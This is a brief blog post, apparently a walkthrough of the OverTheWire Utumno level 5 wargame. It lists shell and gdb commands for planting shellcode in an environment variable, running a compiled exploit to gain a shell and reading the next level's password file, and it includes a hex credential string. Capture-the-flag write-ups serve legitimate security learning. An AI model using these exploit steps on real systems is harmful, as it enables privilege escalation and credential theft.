# ssh utumno5@utumno.labs.overthewire.org
776f756361656a69656b
utumno5@melissa$ file /utumno/utumno5
utumno5@melissa$ mkdir /tmp/u5
utumno5@melissa$ cd !$
utumno5@melissa$ cat execve2.c
utumno5@melissa$ cat getenvaddr.c
utumno5@melissa$ gcc -m32 -o execve2 execve2.c && gcc -m32 -o getenvaddr getenvaddr.c
utumno5@melissa$ ./execve2
utumno5@melissa$ gdb -q
(gdb) #>address+shellcode
(gdb) print /x 0xffffdfc9 - 0x4
(gdb) #>EGG=address+shellcode
(gdb) print /x 0xffffdfc9 + 0x4
(gdb) #>shellcode
utumno5@melissa$ cat execve.c
utumno5@melissa$ gcc -m32 -o execve execve.c
utumno5@melissa$ ./execve
$ /usr/bin/whoami
$ /bin/cat /etc/utumno_pass/utumno6
No comments:
Post a Comment